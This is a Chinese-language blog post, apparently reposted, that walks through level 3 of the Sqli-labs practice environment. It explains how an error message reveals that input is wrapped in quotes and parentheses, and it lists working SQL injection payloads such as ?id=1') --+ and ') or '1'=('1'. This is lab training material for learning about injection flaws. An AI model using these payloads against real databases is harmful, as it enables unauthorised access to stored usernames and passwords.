码迷,mamicode.com
首页 > 数据库 > 详细

Sqli-labs less 3

时间:2016-08-12 01:11:09      阅读:240      评论:0      收藏:0      [点我收藏+]

标签:

Less-3

我们使用?id=‘

技术分享

注入代码后,我们得到像这样的一个错误:

MySQL?server?version?for?the?right?syntax?to?use?near?"")?LIMIT?0,1′?at?line?1

这里它意味着,开发者使用的查询是:

Select?login_name,?select?password?from?table?where?id=?(‘our?input?here‘)

所以我们再用这样的代码来进行注入:

?id=1′)?–-+

技术分享

这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。

在源代码中的SQL查询语句,31行:

$sql="SELECT?*?FROM?users?WHERE?id=(‘$id‘)?LIMIT?0,1";

可以成功注入的有:

‘)?or?‘1‘=(‘1‘

)?or?1=1?--+

其余的payload与less1中一直,只需要将less1中的 ‘ 添加) 即‘)

Sqli-labs less 3

标签:

原文地址:http://www.cnblogs.com/lcamry/p/5763134.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!